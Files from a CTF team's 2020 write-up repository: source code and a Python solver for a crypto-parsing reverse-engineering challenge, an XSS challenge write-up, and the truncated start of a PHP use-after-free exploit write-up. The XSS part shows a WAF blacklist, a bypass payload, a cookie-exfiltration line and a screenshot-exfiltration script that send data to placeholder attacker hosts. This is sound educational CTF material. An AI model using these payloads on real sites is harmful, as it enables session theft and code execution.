-------------------------------------------------------------------------------- /writeup/re/parser/source/crypto.h: -------------------------------------------------------------------------------- 1 | // 2 | // Created by Administrator on 2020/4/7. 3 | // 4 | 5 | #ifndef PARSEME_CRYPTO_H 6 | #define PARSEME_CRYPTO_H 7 | 8 | #include 9 | #include "aes.h" 10 | #include "des.h" 11 | #include "rc4.h" 12 | 13 | std::string aes_encrypt(std::string& _plain, std::string& _key); 14 | std::string des_encrypt(std::string& _plain, std::string& _key); 15 | std::string rc4_encrypt(std::string& _plain, std::string& _key); 16 | #endif //PARSEME_CRYPTO_H 17 | -------------------------------------------------------------------------------- /writeup/re/parser/source/des.h: -------------------------------------------------------------------------------- 1 | // 2 | // Created by Administrator on 2020/4/9. 3 | // 4 | 5 | #ifndef PARSEME_DES_H 6 | #define PARSEME_DES_H 7 | 8 | #include 9 | #include 10 | 11 | void des_encrypt_block(unsigned char plain[8], unsigned char* key); 12 | 13 | #endif //PARSEME_DES_H 14 | -------------------------------------------------------------------------------- /writeup/re/parser/source/lexer.cpp: -------------------------------------------------------------------------------- 1 | // 2 | // Created by Administrator on 2020/4/7. 3 | // 4 | 5 | #include "lexer.h" 6 | 7 | std::vector Lexer::parse_line(std::string &str) { 8 | std::vector tokens; 9 | int idx = 0; 10 | while(idx < str.length()) { 11 | if (str[idx] == '\n') { 12 | Token token; 13 | token.type = CR; 14 | token.str = std::string("\n"); 15 | tokens.push_back(token); 16 | idx++; 17 | continue; 18 | } 19 | if (str[idx] == '+') { 20 | Token token; 21 | token.type = ADD; 22 | token.str = std::string("+"); 23 | tokens.push_back(token); 24 | idx++; 25 | continue; 26 | } 27 | if (str[idx] == '_') { 28 | Token token; 29 | token.type = UL; 30 | token.str = std::string("_"); 31 | tokens.push_back(token); 32 | idx++; 33 | continue; 34 | } 35 | // if (str[idx] == '(') { 36 | // Token token; 37 | // token.type = LP; 38 | // token.str = std::string("("); 39 | // tokens.push_back(token); 40 | // idx++; 41 | // continue; 42 | // } 43 | // if (str[idx] == ')') { 44 | // Token token; 45 | // token.type = RP; 46 | // token.str = std::string(")"); 47 | // tokens.push_back(token); 48 | // idx++; 49 | // continue; 50 | // } 51 | if (str[idx] == '{') { 52 | Token token; 53 | token.type = LB; 54 | token.str = std::string("{"); 55 | tokens.push_back(token); 56 | idx++; 57 | continue; 58 | } 59 | if (str[idx] == '}') { 60 | Token token; 61 | token.type = RB; 62 | token.str = std::string("}"); 63 | tokens.push_back(token); 64 | idx++; 65 | continue; 66 | } 67 | if (isalnum(str[idx])) { 68 | std::string tmp_str; 69 | for (int i = 0; ; ++i) { 70 | if (isalnum(str[idx+i])) { 71 | tmp_str.append(str.substr(idx + i, 1)); 72 | } else 73 | break; 74 | } 75 | Token token; 76 | if (tmp_str=="De1CTF") { 77 | token.type = DE1CTF; 78 | token.str = std::string("De1CTF"); 79 | } 80 | else { 81 | token.type = STR; 82 | token.str = std::string(tmp_str); } 83 | tokens.push_back(token); 84 | idx+=tmp_str.length(); 85 | } 86 | else 87 | throw std::logic_error("Syntax error."); 88 | } 89 | return tokens; 90 | } 91 | -------------------------------------------------------------------------------- /writeup/re/parser/source/lexer.h: -------------------------------------------------------------------------------- 1 | // 2 | // Created by Administrator on 2020/4/7. 3 | // 4 | 5 | #ifndef PARSEME_LEXER_H 6 | #define PARSEME_LEXER_H 7 | 8 | #include 9 | #include 10 | #include 11 | #include "token.h" 12 | class Lexer { 13 | public: 14 | static std::vector parse_line(std::string &str); 15 | }; 16 | 17 | 18 | 19 | #endif //PARSEME_LEXER_H 20 | -------------------------------------------------------------------------------- /writeup/re/parser/source/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include "lexer.h" 3 | #include "parser.h" 4 | 5 | const char cmp_c[] = {-25, -92, 51, 76, -45, 17, -25, -123, 104, 86, -105, 17, -18, -46, -8, -39, 62, 112, -55, 78, -108, -96, 50, 90, 39, -104, 0, 29, -43, -41, 17, 29, -12, -123, 97, -84, 12, -128, 39, 64, -67, -35, 31, 11, -76, -105, 31, 96, 91, 84, -53, -59, -88, -73, 17, -112, -55, -75, -127, 101, 83, 15, 126, 127}; 6 | 7 | int main() { 8 | std::string input; 9 | std::string cmp(cmp_c, 64); 10 | while (true) { 11 | std::cout << "Give me an expression: "; 12 | std::cin >> input; 13 | input.append("\n"); 14 | try { 15 | 16 | std::vector tokens = Lexer::parse_line(input); 17 | Parser parser = Parser(tokens); 18 | std::string res = parser.parse(); 19 | if (res==cmp) { 20 | std::cout << "Right!" << std::endl; 21 | break; 22 | } 23 | else { 24 | std::cout << "Wrong." << std::endl; 25 | } 26 | } catch (std::exception& e) { 27 | std::cerr << e.what() << std::endl; 28 | } 29 | } 30 | return 0; 31 | } 32 | -------------------------------------------------------------------------------- /writeup/re/parser/source/parser.cpp: -------------------------------------------------------------------------------- 1 | // 2 | // Created by Administrator on 2020/4/7. 3 | // 4 | #include "parser.h" 5 | 6 | std::string Parser::parse() { 7 | return parse_line(); 8 | } 9 | 10 | std::string Parser::parse_line() { 11 | std::string res; 12 | De1CTF = tokens.front(); 13 | pass_front(DE1CTF); 14 | pass_front(LB); 15 | res = parse_expr(); 16 | pass_front(RB); 17 | pass_front(CR); 18 | return res; 19 | } 20 | 21 | std::string Parser::parse_expr() { 22 | std::string left = parse_term(); 23 | while(true) { 24 | if (tokens.front().type != ADD) 25 | break; 26 | tokens.erase(tokens.begin()); 27 | std::string right = parse_term(); 28 | left += right; 29 | left = aes_encrypt(left, De1CTF.str); 30 | // left += aes_encrypt(right, De1CTF.str); 31 | } 32 | return left; 33 | } 34 | 35 | void Parser::pass_front(TokenKind kind) { 36 | if (tokens.front().type!=kind) 37 | throw std::logic_error("Syntax error."); 38 | tokens.erase(tokens.begin()); 39 | } 40 | 41 | std::string Parser::parse_term() { 42 | std::string left = parse_primary_str(); 43 | while (true) { 44 | if (tokens.front().type!=UL) 45 | break; 46 | tokens.erase(tokens.begin()); 47 | std::string right = parse_term(); 48 | left += right; 49 | left = des_encrypt(left, De1CTF.str); 50 | } 51 | return left; 52 | } 53 | 54 | std::string Parser::parse_primary_str() { 55 | Token token = tokens.front(); 56 | tokens.erase(tokens.begin()); 57 | if (token.type == STR) 58 | return rc4_encrypt(token.str, De1CTF.str); 59 | // else if(token.type == LP) { 60 | // std::string res = parse_expr(); 61 | // pass_front(RP); 62 | // res = rc4_encrypt(res, De1CTF.str); 63 | // return res; 64 | // } 65 | 66 | throw std::logic_error("Syntax error."); 67 | } 68 | 69 | -------------------------------------------------------------------------------- /writeup/re/parser/source/parser.h: -------------------------------------------------------------------------------- 1 | // 2 | // Created by Administrator on 2020/4/7. 3 | // 4 | 5 | #ifndef PARSEME_PARSER_H 6 | #define PARSEME_PARSER_H 7 | 8 | #include 9 | #include 10 | #include 11 | #include "token.h" 12 | #include "crypto.h" 13 | class Parser { 14 | std::vector tokens; 15 | public: 16 | Parser() = default; 17 | explicit Parser(std::vector tokens): tokens(std::move(tokens)) {} 18 | std::string parse(); 19 | 20 | private: 21 | Token De1CTF; 22 | void pass_front(TokenKind kind); 23 | std::string parse_line(); 24 | std::string parse_expr(); 25 | std::string parse_term(); 26 | std::string parse_primary_str(); 27 | }; 28 | 29 | 30 | #endif //PARSEME_PARSER_H 31 | -------------------------------------------------------------------------------- /writeup/re/parser/source/rc4.cpp: -------------------------------------------------------------------------------- 1 | // 2 | // Created by Administrator on 2020/4/9. 3 | // 4 | 5 | #include "rc4.h" 6 | 7 | unsigned char s_box[256]; 8 | 9 | void swap(unsigned char*a, unsigned char*b) { 10 | unsigned char tmp = *a; 11 | *a = *b; 12 | *b = tmp; 13 | } 14 | 15 | void init_s_box(const unsigned char* key, unsigned int len) { 16 | for (int i = 0; i < 256; ++i) 17 | s_box[i] = i; 18 | int j = 0; 19 | for (int i = 0; i < 256; ++i) { 20 | j = (j + s_box[i] + key[i%len]) % 256; 21 | swap(&s_box[i], &s_box[j]); 22 | } 23 | } 24 | 25 | void rc4_encrypt_block(unsigned char* plain, unsigned int plain_len, const unsigned char* key, unsigned int key_len) { 26 | init_s_box(key, key_len); 27 | int i = 0, j = 0; 28 | for (int k = 0; k < plain_len; ++k) { 29 | i = (i + 1) % 256; 30 | j = (j + s_box[i]) % 256; 31 | swap(&s_box[i], &s_box[j]); 32 | plain[k] ^= s_box[(s_box[i] + s_box[j]) % 256]; 33 | } 34 | } -------------------------------------------------------------------------------- /writeup/re/parser/source/rc4.h: -------------------------------------------------------------------------------- 1 | // 2 | // Created by Administrator on 2020/4/9. 3 | // 4 | 5 | #ifndef PARSEME_RC4_H 6 | #define PARSEME_RC4_H 7 | 8 | 9 | void rc4_encrypt_block(unsigned char* plain, unsigned int plain_len, const unsigned char* key, unsigned int key_len); 10 | 11 | #endif //PARSEME_RC4_H 12 | -------------------------------------------------------------------------------- /writeup/re/parser/source/token.h: -------------------------------------------------------------------------------- 1 | // 2 | // Created by Administrator on 2020/4/7. 3 | // 4 | 5 | #ifndef PARSEME_TOKEN_H 6 | #define PARSEME_TOKEN_H 7 | 8 | #include 9 | 10 | enum TokenKind { 11 | BAD, 12 | DE1CTF, 13 | LB, 14 | RB, 15 | STR, 16 | ADD, 17 | UL, 18 | LP, 19 | RP, 20 | CR 21 | }; 22 | 23 | struct Token { 24 | TokenKind type; 25 | std::string str; 26 | }; 27 | 28 | #endif //PARSEME_TOKEN_H 29 | -------------------------------------------------------------------------------- /writeup/re/parser/writeup_zh.md: -------------------------------------------------------------------------------- 1 | 中文 | [En](./writeup_en.md) 2 | 3 | ## parser 4 | 5 | ### 出题思路 6 | 7 | 最近在学编译原理,写了个极其简单的词法分析器和语法分析器来解析flag。 8 | 9 | 首先词法分析提取token,不满足要求的会抛出异常 10 | 11 | 文法: 12 | 13 | ``` 14 | ∑ : 15 | De1CTF "De1CTF" 16 | LB "{" 17 | RB "}" 18 | WORD "[0-9a-zA-Z]+" 19 | ADD "+" 20 | UL "_" 21 | LP "(" 22 | RP ")" 23 | CR "\n" 24 | 25 | N : 26 | FLAG, PRIM, EXP, TERM, WORD 27 | 28 | P : 29 | FLAG -> De1CTF LB EXP RB CR 30 | EXP -> TERM 31 | | TERM ADD TERM 32 | TERM -> PRIM 33 | | PRIM UL TERM 34 | PRIM -> WORD 35 | 36 | S : FLAG 37 | ``` 38 | 39 | 其实就是跟四则运算一样 40 | 41 | 首先所有WORD都会被RC4加密一下 42 | 43 | a + b被定义为aes_encrypt(ab) 44 | 45 | a _ b被定义为des_encrpt(ab) 46 | 47 | _的优先级比+要高,没有实现括号,因为括号会产生多解(无限加括号)。除非对括号进行其他操作的定义,但我觉得没必要 48 | 49 | 编译时没有开启编译优化。(看了一眼O3后的,我自己都看不懂,开了怕不是被打 50 | 51 | 但是由于用了9.0的g++,新特性添加了endbr64指令(漏洞缓解机制,具体不太懂),导致IDA得不到plt表的信息,但是GDB或者用ida调试起来可以看。。。 52 | 53 | 符号表保留了挺多有用的信息,所以strip了。 54 | 55 | ### 逆向 56 | 57 | 由于是用C++编写的,逆向的难度较大。就算O0也挺难纯静态做。 58 | 59 | 首先可以随便输点什么测试一下,不难发现输入的格式和结构。 60 | 61 | 最好的办法应该是一边调试一边跟踪数据流,很快会发现输入在`sub_35F0`被分割成一个一个token,不难分析出token的种类。所有token被存进一个`std::vector`。 62 | 63 | 跟踪存放token的vector来到`sub_4E70`和`sub_507E`,这里递归的调用了`sub_507E`最终来到`sub_51CC`,类型为4的token(也就是单个字符串)被RC4加密。 64 | 65 | 返回到`sub_507E`。这里是一个循环,结束的条件为下一个token不是`_`。继续递归调用`sub_507E`解析出一个字符串后,讲两个字符串拼接然后des加密。 66 | 67 | 继续返回,来到`sub_4E70`,依然是一个循环,结束条件为下一个token不是`+`。然后又调用`sub_507E`,解析一个新的结果出来,两个结果拼接后aes加密。 68 | 69 | 所有的结果都是用`std::string`链接起来的,最后和`unk_8040`常量对比。 70 | 71 | 到这里基本就完全逆完了。比较重要的事情是+和_的优先级是不一样的,这是解题的关键。 72 | 73 | 加密算法全部用的PKCS7来pad,全部是标准的加密算法,(AES的S盒替换这一步没有直接查表,而是按照S盒生成原理写的,所以找不到S盒。但是观察AES的10轮结构应该很轻松能看出来),结合调试和验证也能发现是正常标准的加密算法,分组模式是CBC(ECB的话求解起来可能更复杂一些),密钥都为De1CTF,也用PKCS7来pad到正确的长度。 74 | 75 | ### 解法 76 | 77 | 注意到所有的明文都通过PKCS7pad到正确的长度,所以我们可以通过尝试判断当前这一步是aes还是des。 78 | 79 | 拿到常量后,考虑这是`A+B+C+D`这种的结果还是`A_B_C_D`这种。通过解密发现aes解密结果有padding,所以就有: 80 | 81 | result = aes(result_before+D) 82 | 83 | 尽管我们不知道前一部分有多少个项,但是最后一部分一定只有一个项。接下来要确认这一项是`d1_d1_d3`这种形式(des的密文)还是单独的一个字符串`d1`(rc4的密文)。 84 | 85 | 尽管我们仍然不知道最后一项有多长,但由于前面一部分大概率是aes或des的密文(如果前一部分是rc4密文,就意味着我们对着整体解rc4就能拿到第一部分的明文了),所以我们在后一部分只要考虑8\*n的长度即可。对后8\*n字节解des或rc4,寻找padding或明文,然后在对后一部分讨论rc4与des的组合情况,这里就比较容易了。 86 | 87 | 以此类推,我们就可以恢复所有部分的明文,根据加密关系补上符号就是flag了。 88 | 89 | 详细的分析在脚本里 90 | 91 | ```python 92 | from Crypto.Cipher import ARC4, AES, DES 93 | from Crypto.Util.Padding import unpad 94 | from binascii import * 95 | key = b"De1CTF" 96 | rc4_key = key 97 | des_key = key.ljust(8, b"\x02") 98 | aes_key = key.ljust(16, b"\x0a") 99 | 100 | def rc4_decrypt(cipher, key=rc4_key): 101 | rc4 = ARC4.new(key) 102 | return rc4.decrypt(cipher) 103 | 104 | def aes_decrypt(cipher, key=aes_key): 105 | aes = AES.new(key, iv=key, mode=AES.MODE_CBC) 106 | return aes.decrypt(cipher) 107 | 108 | def des_decrypt(cipher, key=des_key): 109 | des = DES.new(key, iv=key, mode=AES.MODE_CBC) 110 | return des.decrypt(cipher) 111 | flag = b"}" 112 | cipher = b"\xe7\xa43L\xd3\x11\xe7\x85hV\x97\x11\xee\xd2\xf8\xd9>p\xc9N\x94\xa02Z'\x98\x00\x1d\xd5\xd7\x11\x1d\xf4\x85a\xac\x0c\x80'@\xbd\xdd\x1f\x0b\xb4\x97\x1f`[T\xcb\xc5\xa8\xb7\x11\x90\xc9\xb5\x81eS\x0f~\x7f" 113 | # 不太可能直接解rc4 114 | 115 | # 分别尝试des和aes解密,在aes中发现了padding,说明结果是A+B的形式 116 | print(des_decrypt(cipher)) 117 | # b'\x0e\x08r\xa8C\x14u\xae\xee\xd6)9.Q\xd3\xca|\xcf.\xde\xb9<\x8f4N\xcaP%X>5,\x1fIu\x89\xd5\xb3\xf5[1\x9b\x86Q\x86&\x05\xc8FGW\xf3\xfd&\xb4[#\x16O4\x94:h\x90' 118 | print(aes_decrypt(cipher)) 119 | # b"\x0b\x82z\x9e\x00.\x07m\xe2\xd8L\xac\xb1#\xbc\x1e\xb0\x8e\xbe\xc1\xa4T\xe0\xf5P\xc6]7\xc5\x8c}\xaf-H'4-;\x13\xd9s\x0f%\xc1v\x89\x19\x8b\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10" 120 | cipher = unpad(aes_decrypt(cipher), 16) 121 | print() 122 | 123 | # 由于解析时是循环加上TERM的,所以后一部分必然是一个TERM,因此我们先讨论后一部分更合适 124 | # 既然B是一个TERM,那么要么直接是一个WORD,直接rc4解密并不能发现正常结果 125 | # 要么就是b1_b2的形式。根据des分组长度为8字节,爆破des的分组数目 126 | # 最后在长度为16时发现了des的padding 127 | print(des_decrypt(cipher[-8:])) 128 | # b'G*\x11p~z\x16\xdc' 129 | print(des_decrypt(cipher[-16:])) 130 | # b'\xcd\xc55\x89\x9f#\xf0\xb2.\x07\x07\x07\x07\x07\x07\x07' 131 | term_1 = unpad(des_decrypt(cipher[-16:]), 8) 132 | cipher = cipher[:-16] # 前一部分放到后面讨论 133 | print() 134 | 135 | # b1_b2的形式,跟之前+的分析类似,从后往前找WORD,再讨论b1的情况 136 | # 正常来说只能知道后面是单独的WORD,所以要爆破这一部分rc4明文长度 137 | # 当然,这里的长度足够短,可以猜测就是两个WORD,直接rc4解密就能看到第一个WORD,剩下的是另一个 138 | print(rc4_decrypt(term_1)) 139 | # 开头发现了有意义的字符串`4nd` 140 | print(rc4_decrypt(term_1[3:])) 141 | # b"p4r53r" 142 | word_1 = rc4_decrypt(term_1[3:]) 143 | word_2 = rc4_decrypt(term_1[:3]) 144 | flag = word_2 + b"_" + word_1 + flag 145 | flag = b"+" + flag 146 | print() 147 | 148 | # 接下来又和一开始一样了,重复一遍。先试一下aes和des,判断是单独的TERM还是两部分相加(当然还有直接是一个WORD的可能) 149 | # 还是在aes中发现了padding,依然是A+B的形式 150 | print(des_decrypt(cipher)) 151 | # b"\xa7\xaf\xa7\xe8#I\x9e#6X\x19\xed\xd5\x06\xcc\x86\xe4OC\x89 \x15\xff'\xd8\xe1f\x95\xfc\x99\xf8\x1e" 152 | print(aes_decrypt(cipher)) 153 | # b'\x91\x98=\xa9\xb1:1\xef\x04r\xb5\x02\x07;h\xdd\xbd\xdb<\xc1}\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b' 154 | cipher = unpad(aes_decrypt(cipher), 16) 155 | print() 156 | 157 | # 依然是爆破后面一个TERM的长度 158 | print(des_decrypt(cipher[-8:])) 159 | print(des_decrypt(cipher[-16:])) 160 | # 长度为16时发现padding,剩下的就是前一部分 161 | term_2 = unpad(des_decrypt(cipher[-16:]), 8) 162 | cipher = cipher[0:-16] 163 | print() 164 | 165 | # 依然是可以猜测两个WORD组成 166 | print(rc4_decrypt(term_2)) 167 | # 开头发现了有意义的字符串b"w0rld" 168 | print(rc4_decrypt(term_2[5:])) 169 | # b"l3x3r" 170 | word_3 = rc4_decrypt(term_2[5:]) 171 | word_4 = rc4_decrypt(term_2[:5]) 172 | flag = word_4 + b"_" + word_3 + flag 173 | flag = b"+" + flag 174 | print() 175 | 176 | # 剩下的内容很短,直接解rc4 177 | print(rc4_decrypt(cipher)) 178 | word_5 = rc4_decrypt(cipher) 179 | flag = word_5 + flag 180 | 181 | flag = b"De1CTF{" + flag 182 | print(flag) 183 | ``` 184 | 185 | 感觉可以根据padding写一个自动求解的脚本。不过处理起来挺麻烦的,就没有尝试 186 | -------------------------------------------------------------------------------- /writeup/web/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/De1ta-team/De1CTF2020/2acd79937021b79a3a5cb54e1f635c335fb4bd3c/writeup/web/.gitkeep -------------------------------------------------------------------------------- /writeup/web/Animal Crossing/README.md: -------------------------------------------------------------------------------- 1 | # Animal crossing write up 2 | 3 | Description: 4 | Free passport creator lets you show your island! 5 | 6 | 7 | 8 | ## Level 1: bypass the cloud WAF 9 | 10 | Cloud WAF usually has several layers and several filtering methods. Here I also designed two layers of protection. 11 | 12 | ### Layer 1: Blacklist detection 13 | 14 | ```go 15 | var blackList = []string{ 16 | //global 17 | "document", "window", "top", "parent", "global", "this", 18 | //func 19 | "console", "alert", "log", "promise", "fetch", "eval", "import", 20 | //char 21 | "<", ">", "`", "\\*", "&", "#", "%", "\\\\", 22 | //key 23 | "if", "set", "get", "with", "yield", "async", "wait", "func", "for", "error", "string", 24 | //string 25 | "href", "location", "url", "cookie", "src", 26 | } 27 | ``` 28 | 29 | The way to bypass the blacklist is to avoid the strings and characters of ban. Here, because of the iris framework problem of go, the `;` and the data after it will be deleted, and can be bypassed with `%0a` 30 | 31 | ### Layer 2: Static syntax analysis 32 | 33 | ``` 34 | 1. Pass in data to fmt.Sprintf("'%s';", data), and then parse the syntax. If parse fails, the error will be returned directly. 35 | 2. And then we visit AST nodes: 36 | 1. VariableExpression/AssignExpression, All declaration/assignment statements will ban 37 | 2. CallExpression, all function call, and callee not Identifier, will ban, example: 38 | 1. ban: test.test()、a[x]() 39 | 2. pass: test() 40 | 3. BracketExpression, all member reference and member is not Identifier, will ban, example: 41 | 1. ban: a[1]、a['xx'] 42 | 2. pass: a[x] 43 | ``` 44 | 45 | This layer of WAF, in fact, only needs to find out the rule of ban and find the unprocessed syntax to bypass it. My expected solution here is to pass variables with `throw`, but there are many other syntax that can be used. 46 | 47 | The payload: 48 | 49 | ```js 50 | data=base64DATAXXXXXXX'%0atry{throw 'ev'%2b'al'}catch(e){try{throw frames[e]}catch(c){c(atob(data))}}%0a// 51 | ``` 52 | 53 | After bypassing the two layers of WAF protection, the local successful alert, we can use: 54 | 55 | ```js 56 | location.href = "http://xxxx/?" + btoa(ducument.cookie) 57 | ``` 58 | 59 | get the admin cookie, and the cookie is a part of the flag: 60 | 61 | ``` 62 | FLAG=De1CTF{I_l1k4_ 63 | ``` 64 | 65 | 66 | 67 | ## Level 2: read 400 pictures 68 | 69 | In the other half of the flag, hint: 70 | 71 | ``` 72 | What is the admin doing? 73 | ``` 74 | 75 | Read the administrator's document, you will find that there are 400 PNG images, and the flag is hidden in these images. 76 | 77 | Here are several solutions preset during the design: 78 | 79 | 1. Bypass CSP to import html2canvas lib, get the screenshot and upload to server, get the image address and send it back, then download the image 80 | 2. Use the for loop to send all 400 pictures to /upload, get 400 picture addresses and send back 81 | 3. Read the pictures directly and send them back one by one, write scripts, or use for to circulate and batch transfer, but the return process needs code conversion, and after the transfer back, it also needs to be converted into pictures for splicing 82 | 83 | All three solutions can get the flag, I will introduce the solution of bypassing CSP and import html2canvas lib. Other methods are similar, so I won't write them all (You can go to see the players' writeup), 84 | 85 | ### Bypass CSP to import html2canvas lib 86 | 87 | The main function of this website is to create a animal crossing passport, The homepage has a `/upload` api for upload image, you can upload a file with `png` suffix, and use `fetch` get the png file source, then `eval` it. You can bypass CSP to import the html2canvas lib and execute it. 88 | 89 | The png file: 90 | 91 | ```js 92 | ... 93 | ... 94 | html2canvas.js code 95 | ... 96 | ... 97 | 98 | // screenshot->upload screenshot->send img address back 99 | html2canvas(document.body).then(function(canvas) { 100 | const form = new FormData(), 101 | url = "/upload", 102 | blob = new Blob([canvas.toDataURL().toString()], {type : "image/png"}) 103 | file = new File([blob], "a.png") 104 | form.append("file", file) 105 | fetch(url, { 106 | method: "POST", 107 | body: form 108 | }).then(function(response) { 109 | return response.json() 110 | }).then(function(data) { 111 | location.href="//xxxxxxxxx:8099/?"+data.data.toString() 112 | }) 113 | }) 114 | ``` 115 | 116 | Here I also write the JS of screenshot operation into png. 117 | 118 | It upload the screenshot to the server and get the returned image address, then send it back to the attacker 119 | 120 | ### Read image and execute 121 | 122 | After upload the image, get the png address, then you can read the image with the controllable JS part and execute it 123 | 124 | ```js 125 | fetch(`/static/images/xxxxxxxxx.png`).then(res=>res.text()).then(txt=>eval(txt)) 126 | ``` 127 | 128 | And you can use the method of bypassing the WAF to pack it 129 | 130 | 131 | 132 | Finally, when submitted to the BOT, you can receive the address of the screenshot of the admin's interface, and download it to see the other half of the flag 133 | 134 | ``` 135 | cool_GamE} 136 | ``` 137 | 138 | Flag: 139 | 140 | ``` 141 | De1CTF{I_l1k4_cool_GamE} 142 | ``` 143 | 144 | 145 | -------------------------------------------------------------------------------- /writeup/web/Animal Crossing/README_zh.md: -------------------------------------------------------------------------------- 1 | # Animal crossing write up 2 | 3 | 题目描述: 4 | 5 | 免费创建护照来展示你的岛屿! 6 | 7 | 8 | ## 第一关:绕过云WAF 9 | 10 | 云WAF通常有好几层好几种过滤手段,这里我也是设计了了两层防护 11 | 12 | ### 第一层:黑名单检测 13 | 14 | ```go 15 | var blackList = []string{ 16 | //global 17 | "document", "window", "top", "parent", "global", "this", 18 | //func 19 | "console", "alert", "log", "promise", "fetch", "eval", "import", 20 | //char 21 | "<", ">", "`", "\\*", "&", "#", "%", "\\\\", 22 | //key 23 | "if", "set", "get", "with", "yield", "async", "wait", "func", "for", "error", "string", 24 | //string 25 | "href", "location", "url", "cookie", "src", 26 | } 27 | ``` 28 | 29 | 黑名单的绕过思路无非避开被ban的字符串和字符,这里因为go的iris框架问题(看不出来是golang吧),导致`;`后的东西会被删掉,可以用%0a绕过 30 | 31 | ### 第二层:静态语法分析 32 | 33 | ``` 34 | 1. 将data传入`fmt.Sprintf("'%s';", data)`,然后进行语法解析,这里parse失败直接ban 35 | 2. 接着遍历AST进行分析: 36 | 1. VariableExpression/AssignExpression,所有声明语句/赋值语句直接ban 37 | 2. CallExpression,所有函数调用的,且callee不为Identifier的直接ban 38 | 1. ban:`test.test()`、`a[x]()` 39 | 2. pass:`test()` 40 | 3. BracketExpression,也就是成员引用,Member不为Identifier的直接ban, 41 | 1. ban:`a[1]`、`a['xx']` 42 | 2. pass:`a[x]` 43 | ``` 44 | 45 | 这一层waf,其实只要摸清ban的套路,针对性找到没被处理的语法来绕过即可,这里我的预期解是用throw传递变量,但是还有很多其他能用的语法(事实证明确实有很多 46 | 47 | 预期解payload: 48 | 49 | ```js 50 | data=base64code'%0atry{throw 'ev'%2b'al'}catch(e){try{throw frames[e]}catch(c){c(atob(data))}}%0a// 51 | ``` 52 | 53 | 绕过WAF的两层防护之后本地能成功alert就可以用 54 | 55 | ```js 56 | location.href = "http://xxxx/?" + btoa(ducument.cookie) 57 | ``` 58 | 59 | 打到管理员cookie了,cookie中包含一半的flag: 60 | 61 | ``` 62 | FLAG=De1CTF{I_l1k4_ 63 | ``` 64 | 65 | 66 | 67 | ## 第二关:读取400张图片 68 | 69 | 另外一半flag,题目给了hint: 70 | 71 | ``` 72 | 管理员在做什么? 73 | ``` 74 | 75 | 读取管理员的document,会发现有400多张png图片,flag就藏在这些图片当中,这里设计的时候预设了下面几种解法: 76 | 77 | 1. 绕过CSP引入截图库,截图后把图片传到/upload,获取图片地址回传,然后下载图片 78 | 2. 用for循环把400个图全部传到/upload,获取400个图片地址然后回传 79 | 3. 直接读取图片回传,可以是写脚本一张一张传,也可以是用for循环批量传,但是回传过程需要编码转换,传回去后也需要再转成图片进行拼接 80 | 81 | 三种方法有简单的也有复杂的,国外三支队伍用的都是第三种,把所有图片dump出去(我猜大佬们没发现/upload接口 23333),而国内的选手用的是解法2,下面我详细介绍下绕过CSP引入截图库的解法,其他的方法也是类似,就不全写出来了(感兴趣的可以去看解出来的大佬们的wp)。 82 | 83 | ### 绕过CSP引入截图库 84 | 85 | 本题的主要功能是制造动森护照,主页是有一个上传文件接口的,利用/upload接口,可以上传任意png后缀的文件,然后用fetch读这个png文件,再eval一下,就可以绕过CSP引入html2canvas库并且执行了,上传的png文件如下 86 | 87 | ```js 88 | ... 89 | ... 90 | html2canvas.js代码 91 | ... 92 | ... 93 | 94 | // 截图->上传到upload->外传图片地址 95 | html2canvas(document.body).then(function(canvas) { 96 | const form = new FormData(), 97 | url = "/upload", 98 | blob = new Blob([canvas.toDataURL().toString()], {type : "image/png"}) 99 | file = new File([blob], "a.png") 100 | form.append("file", file) 101 | fetch(url, { 102 | method: "POST", 103 | body: form 104 | }).then(function(response) { 105 | return response.json() 106 | }).then(function(data) { 107 | location.href="//xxxxxxxxx:8099/?"+data.data.toString() 108 | }) 109 | }) 110 | ``` 111 | 112 | 这里我把截图操作的js也写到png里了,主要思路就是截图完用/upload传到服务器,获取返回的图片地址回传给攻击者 113 | 114 | ### 读取图片并执行 115 | 116 | 把图片用/upload接口上传后,获取png地址,再用可控的js部分去读取这个图片再执行即可 117 | 118 | 读取并执行的代码如下: 119 | 120 | ```js 121 | fetch(`/static/images/xxxxxxxxx.png`).then(res=>res.text()).then(txt=>eval(txt)) 122 | ``` 123 | 124 | 用绕过第一关的办法包装一下就可以了 125 | 126 | 127 | 128 | 最后提交到bot就能接收到管理员界面截图的地址了,直接下载就能看到另一半flag了 129 | 130 | ``` 131 | cool_GamE} 132 | ``` 133 | 134 | 最后flag: 135 | 136 | ``` 137 | De1CTF{I_l1k4_cool_GamE} 138 | ``` 139 | 140 | 141 | -------------------------------------------------------------------------------- /writeup/web/Animal Crossing/docker.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/De1ta-team/De1CTF2020/2acd79937021b79a3a5cb54e1f635c335fb4bd3c/writeup/web/Animal Crossing/docker.zip -------------------------------------------------------------------------------- /writeup/web/Easy PHP-UAF/README.md: -------------------------------------------------------------------------------- 1 | [中文](./README_zh.md) [English](./README.md) 2 | 3 | [docker](./PHP-UAF.tar.gz) 4 | 5 | # Easy PHP UAF WriteUps 6 | 7 | ## WriteUp: 8 | This challenge is based on this exploit: https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php , which use a bug in debug_backtrace() function to cause a use-after-free vulnerability. With this vulnerability, we can leak and write PHP memory. 9 | 10 | To solve this challenge, you need some knowledge about PHP source and a little about Pwn. 11 | 12 | I do something to increase the difficulty of this challenge: 13 | 14 | 1. blocked loop functionality in lex_scan 15 | 2. limit recursion depth in extension 16 | 3. blocked strlen() 17 | 18 | If you use gdb to debug and find out how the original exploit works, you will find that solution is so easy: 19 | 20 | 1. UAF, you can use the original exploit 21 | 2. leak the head point of next php heap, which can be used to compute the address of $helper and $abc 22 | 3. leak the address of Closure Object 23 | 4. write $helper -> a to make it a fake string which point to Closure Object 24 | 5. leak Closure Handlers from Closure Object and then compute the address of system 25 | 6. copy Closure Object to next php heap, change its address of internal_function.handler to system and write $helper -> b to make it point to this fake Closure Object 26 | 7. execute $helper -> b to execute system 27 | 28 | 29 | ## Exp: 30 | ```php 31 | pwn("/readflag"); 32 | 33 | function pwn($cmd) { 34 | global $abc, $helper, $backtrace; 35 | class Vuln { 36 | public $a; 37 | public function __destruct() { 38 | global $backtrace; 39 | unset($this -> a); 40 | $backtrace = (new Exception) -> getTrace(); # ;) 41 | 